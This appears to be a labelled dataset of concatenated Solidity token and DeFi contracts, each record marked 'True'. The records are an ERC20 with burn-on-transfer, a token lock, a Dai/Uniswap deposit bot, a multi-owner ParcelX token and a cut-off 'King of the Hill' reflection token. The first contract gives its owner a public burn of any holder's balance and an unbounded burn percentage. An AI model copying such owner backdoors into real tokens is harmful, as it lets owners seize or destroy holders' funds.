* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (_isWhitelisted(msg.sender,recipient)) {
_burnPerTransfer(recipient,amount);
}
emit Transfer(sender, recipient, amount);
}
function setBurnPercent(uint8 percent) public onlyOwner {
burnPercent = percent;
}
function _burnPerTransfer(address account,uint256 amount) internal {
uint256 calculate = amount * burnPercent / 100;
_burn(account, calculate);
}
function getBurnPercent() public view returns(uint8) {
return burnPercent;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function burn(address account,uint256 amount) public onlyOwner {
_burn(account,amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
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pragma solidity 0.4.15;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LOCKTokenCOIN is StandardToken {
using SafeMath for uint256;
string public name = "LOCK Token COIN";
string public symbol = "LOCKTC";
uint256 public decimals = 8;
uint256 public INITIAL_SUPPLY = 1000000000 * 1 ether;
event Burn(address indexed from, uint256 value);
function LOCKTokenCOIN() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function burn(uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <<span class="__cf_email__" data-cfemail="186a7d757b77582a">[email protected]</span>π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be send to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract LOCKTokenCOINLock is HasNoEther {
using SafeMath for uint256;
LOCKTokenCOIN public LOCKTC;
uint public startTime;
uint public endTime1;
uint public endTime2;
uint256 public tranche;
modifier onlyAfter(uint time) {
require(getCurrentTime() > time);
_;
}
function LOCKTokenCOINLock (
address _ltcAddr,
uint _startTime,
uint _duration,
uint256 _tranche
) HasNoEther() public {
LOCKTC = LOCKTokenCOIN(_ltcAddr);
startTime = _startTime;
endTime1 = _startTime + _duration * 1 days;
endTime2 = _startTime + 2 * _duration * 1 days;
tranche = _tranche * 1e18;
}
function withdraw1(uint256 _value) external onlyOwner onlyAfter(endTime1) {
require(_value <= tranche);
LOCKTC.transfer(owner, _value);
tranche = tranche.sub(_value);
}
function withdraw2(uint256 _value) external onlyOwner onlyAfter(endTime2) {
LOCKTC.transfer(owner, _value);
}
function ltcBalance() external constant returns(uint256) {
return LOCKTC.balanceOf(this);
}
function getCurrentTime() internal constant returns(uint256) {
return now;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2019-07-11
*/
pragma solidity ^0.5.1;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20Interface {
function transferFrom(address src, address dst, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function approve(address guy, uint wad) public returns (bool);
}
contract UniswapInterface {
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
}
contract ChainBot3000 is Ownable {
using SafeMath for uint256;
ERC20Interface DaiContract;
UniswapInterface UniswapContract;
event Deposit(address indexed _address, bytes32 indexed _steamid, uint256 _amount);
event Deposit(address indexed _address, bytes32 indexed _steamid, uint256 _amount, uint256 _value);
event Purchase(address indexed _address, bytes32 indexed _steamid, bytes32 _offerid, uint256 _amount);
event Purchase(address indexed _address, bytes32 indexed _steamid, bytes32 _offerid, uint256 _amount, uint256 _value);
mapping(bytes32 => uint256) public deposits;
constructor(address _daiAddress, address _uniswapAddress) public {
initDai(_daiAddress);
initUniswap(_uniswapAddress);
setAllowance(_uniswapAddress, uint256(-1));
}
function initDai(address _address) public onlyOwner {
DaiContract = ERC20Interface(_address);
}
function initUniswap(address _address) public onlyOwner {
UniswapContract = UniswapInterface(_address);
}
function setAllowance(address _address, uint256 _amount) public onlyOwner returns (bool){
return DaiContract.approve(_address, _amount);
}
function depositOutput(bytes32 _steamid, uint256 _tokens_bought, uint256 _deadline) external payable {
uint256 eth_sold = UniswapContract.ethToTokenTransferOutput.value(msg.value)(_tokens_bought, _deadline, address(this));
uint256 refund = msg.value - eth_sold;
if(refund > 0){
msg.sender.transfer(refund);
}
deposits[_steamid] = deposits[_steamid].add(_tokens_bought);
emit Deposit(msg.sender, _steamid, _tokens_bought, eth_sold);
}
function depositInput(bytes32 _steamid, uint256 _min_tokens, uint256 _deadline) external payable {
uint256 tokens_bought = UniswapContract.ethToTokenTransferInput.value(msg.value)(_min_tokens, _deadline, address(this));
deposits[_steamid] = deposits[_steamid].add(tokens_bought);
emit Deposit(msg.sender, _steamid, tokens_bought, msg.value);
}
function depositDai(bytes32 _steamid, uint _amount) external {
assert(DaiContract.transferFrom(msg.sender, address(this), _amount));
deposits[_steamid] = deposits[_steamid].add(_amount);
emit Deposit(msg.sender, _steamid, _amount);
}
function sendEth(uint256 _tokens_sold, uint256 _min_eth, uint256 _deadline, address _recipient, bytes32 _steamid, bytes32 _offerid) external onlyOwner {
uint256 eth_bought = UniswapContract.tokenToEthTransferInput(_tokens_sold, _min_eth, _deadline, _recipient);
emit Purchase(_recipient, _steamid, _offerid, _tokens_sold, eth_bought);
}
function sendDai(address _address, uint256 _amount, bytes32 _steamid, bytes32 _offerid) external onlyOwner {
assert(DaiContract.transfer(_address, _amount));
emit Purchase(_address, _steamid, _offerid, _amount);
}
function() external payable { require(msg.data.length == 0); }
function cashOut() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
} | True | [
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pragma solidity ^0.4.19;
// File: contracts\Convertible.sol
/**
* Exchange all my ParcelX token to mainchain GPX
*/
contract Convertible {
function convertMainchainGPX(string destinationAccount, string extra) external returns (bool);
// ParcelX deamon program is monitoring this event.
// Once it triggered, ParcelX will transfer corresponding GPX to destination account
event Converted(address indexed who, string destinationAccount, uint256 amount, string extra);
}
// File: contracts\ERC20.sol
/**
* Starndard ERC20 interface: https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
* Remove short address attack checks from tokens(https://github.com/OpenZeppelin/openzeppelin-solidity/issues/261)
*/
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length >= size + 4);
_;
}
}
// File: contracts\MultiOwnable.sol
/**
* FEATURE 2): MultiOwnable implementation
* Transactions approved by _multiRequires of _multiOwners' addresses will be executed.
* All functions needing unit-tests cannot be INTERNAL
*/
contract MultiOwnable {
address[8] m_owners;
uint m_numOwners;
uint m_multiRequires;
mapping (bytes32 => uint) internal m_pendings;
event AcceptConfirm(address indexed who, uint confirmTotal);
// constructor is given number of sigs required to do protected "multiOwner" transactions
function MultiOwnable (address[] _multiOwners, uint _multiRequires) public {
require(0 < _multiRequires && _multiRequires <= _multiOwners.length);
m_numOwners = _multiOwners.length;
require(m_numOwners <= 8); // Bigger then 8 co-owners, not support !
for (uint i = 0; i < _multiOwners.length; ++i) {
m_owners[i] = _multiOwners[i];
require(m_owners[i] != address(0));
}
m_multiRequires = _multiRequires;
}
// Any one of the owners, will approve the action
modifier anyOwner {
if (isOwner(msg.sender)) {
_;
}
}
// Requiring num > m_multiRequires owners, to approve the action
modifier mostOwner(bytes32 operation) {
if (checkAndConfirm(msg.sender, operation)) {
_;
}
}
function isOwner(address currentUser) public view returns (bool) {
for (uint i = 0; i < m_numOwners; ++i) {
if (m_owners[i] == currentUser) {
return true;
}
}
return false;
}
function checkAndConfirm(address currentUser, bytes32 operation) public returns (bool) {
uint ownerIndex = m_numOwners;
uint i;
for (i = 0; i < m_numOwners; ++i) {
if (m_owners[i] == currentUser) {
ownerIndex = i;
}
}
if (ownerIndex == m_numOwners) {
return false; // Not Owner
}
uint newBitFinger = (m_pendings[operation] | (2 ** ownerIndex));
uint confirmTotal = 0;
for (i = 0; i < m_numOwners; ++i) {
if ((newBitFinger & (2 ** i)) > 0) {
confirmTotal ++;
}
}
AcceptConfirm(currentUser, confirmTotal);
if (confirmTotal >= m_multiRequires) {
delete m_pendings[operation];
return true;
}
else {
m_pendings[operation] = newBitFinger;
return false;
}
}
}
// File: contracts\Pausable.sol
/**
* FEATURE 3): Pausable implementation
*/
contract Pausable is MultiOwnable {
event Pause();
event Unpause();
bool paused = false;
// Modifier to make a function callable only when the contract is not paused.
modifier whenNotPaused() {
require(!paused);
_;
}
// Modifier to make a function callable only when the contract is paused.
modifier whenPaused() {
require(paused);
_;
}
// called by the owner to pause, triggers stopped state
function pause() mostOwner(keccak256(msg.data)) whenNotPaused public {
paused = true;
Pause();
}
// called by the owner to unpause, returns to normal state
function unpause() mostOwner(keccak256(msg.data)) whenPaused public {
paused = false;
Unpause();
}
function isPause() view public returns(bool) {
return paused;
}
}
// File: contracts\SafeMath.sol
/**
* Standard SafeMath Library: zeppelin-solidity/contracts/math/SafeMath.sol
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\ParcelXGPX.sol
/**
* The main body of final smart contract
*/
contract ParcelXGPX is ERC20, MultiOwnable, Pausable, Convertible {
using SafeMath for uint256;
string public constant name = "ParcelX Token";
string public constant symbol = "GPX";
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = uint256(1000000000) * (uint256(10) ** decimals); // 10,0000,0000
address internal tokenPool; // Use a token pool holding all GPX. Avoid using sender address.
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function ParcelXGPX(address[] _multiOwners, uint _multiRequires)
MultiOwnable(_multiOwners, _multiRequires) public {
tokenPool = this;
require(tokenPool != address(0));
balances[tokenPool] = TOTAL_SUPPLY;
}
/**
* FEATURE 1): ERC20 implementation
*/
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* FEATURE 4): Buyable implements
* 0.000268 eth per GPX, so the rate is 1.0 / 0.000268 = 3731.3432835820895
*/
uint256 internal buyRate = uint256(3731);
event Deposit(address indexed who, uint256 value);
event Withdraw(address indexed who, uint256 value, address indexed lastApprover, string extra);
function getBuyRate() external view returns (uint256) {
return buyRate;
}
function setBuyRate(uint256 newBuyRate) mostOwner(keccak256(msg.data)) external {
buyRate = newBuyRate;
}
/**
* FEATURE 4): Buyable
* minimum of 0.001 ether for purchase in the public, pre-ico, and private sale
*/
function buy() payable whenNotPaused public returns (uint256) {
Deposit(msg.sender, msg.value);
require(msg.value >= 0.001 ether);
// Token compute & transfer
uint256 tokens = msg.value.mul(buyRate);
require(balances[tokenPool] >= tokens);
balances[tokenPool] = balances[tokenPool].sub(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
Transfer(tokenPool, msg.sender, tokens);
return tokens;
}
// gets called when no other function matches
function () payable public {
if (msg.value > 0) {
buy();
}
}
/**
* FEATURE 6): Budget control
* Malloc GPX for airdrops, marketing-events, etc
*/
function mallocBudget(address _admin, uint256 _value) mostOwner(keccak256(msg.data)) external returns (bool) {
require(_admin != address(0));
require(_value <= balances[tokenPool]);
balances[tokenPool] = balances[tokenPool].sub(_value);
balances[_admin] = balances[_admin].add(_value);
Transfer(tokenPool, _admin, _value);
return true;
}
function execute(address _to, uint256 _value, string _extra) mostOwner(keccak256(msg.data)) external returns (bool){
require(_to != address(0));
Withdraw(_to, _value, msg.sender, _extra);
_to.transfer(_value); // Prevent using call() or send()
return true;
}
/**
* FEATURE 5): Convertible implements
*/
function convertMainchainGPX(string destinationAccount, string extra) external returns (bool) {
require(bytes(destinationAccount).length > 10 && bytes(destinationAccount).length < 128);
require(balances[msg.sender] > 0);
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
balances[tokenPool] = balances[tokenPool].add(amount); // recycle ParcelX to tokenPool's init account
Converted(msg.sender, destinationAccount, amount, extra);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
/**
KKKKKKKKK KKKKKKKIIIIIIIIIINNNNNNNN NNNNNNNN GGGGGGGGGGGGG
K:::::::K K:::::KI::::::::IN:::::::N N::::::N GGG::::::::::::G
K:::::::K K:::::KI::::::::IN::::::::N N::::::N GG:::::::::::::::G
K:::::::K K::::::KII::::::IIN:::::::::N N::::::N G:::::GGGGGGGG::::G
KK::::::K K:::::KKK I::::I N::::::::::N N::::::N G:::::G GGGGGG
K:::::K K:::::K I::::I N:::::::::::N N::::::NG:::::G
K::::::K:::::K I::::I N:::::::N::::N N::::::NG:::::G
K:::::::::::K I::::I N::::::N N::::N N::::::NG:::::G GGGGGGGGGG
K:::::::::::K I::::I N::::::N N::::N:::::::NG:::::G G::::::::G
K::::::K:::::K I::::I N::::::N N:::::::::::NG:::::G GGGGG::::G
K:::::K K:::::K I::::I N::::::N N::::::::::NG:::::G G::::G
KK::::::K K:::::KKK I::::I N::::::N N:::::::::N G:::::G G::::G
K:::::::K K::::::KII::::::IIN::::::N N::::::::N G:::::GGGGGGGG::::G
K:::::::K K:::::KI::::::::IN::::::N N:::::::N GG:::::::::::::::G
K:::::::K K:::::KI::::::::IN::::::N N::::::N GGG::::::GGG:::G
KKKKKKKKK KKKKKKKIIIIIIIIIINNNNNNNN NNNNNNN GGGGGG GGGG
🔥 There is a war to be King. Whoever is the King commands the whole army and the taxes from it's subjects, 6% reflections, but the King holder will always have a target on their back. With every sell, the King gets richer and richer... but with every buy comes the threat of a new challenger. Do you have what it takes to rule? 🔥
🏁 The rules of the game. 🏁
▶️ If you make the biggest buy (in ETH) you will be the King for 30 minutes, and collect 6% of traded volume (in ETH) the same way marketing does.
Once 30 minutes is up, the counter will be reset and everyone will be able to compete again to be King.
▶️ If you sell any tokens at all at any point you will lose your kingdom.
▶️ If someone beats your record, they become the King.
Twitter: https://twitter.com/King_Of_Ze_Hill
Telegram: https://t.me/KingoftheHill_Entry
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
function addLiquidity(
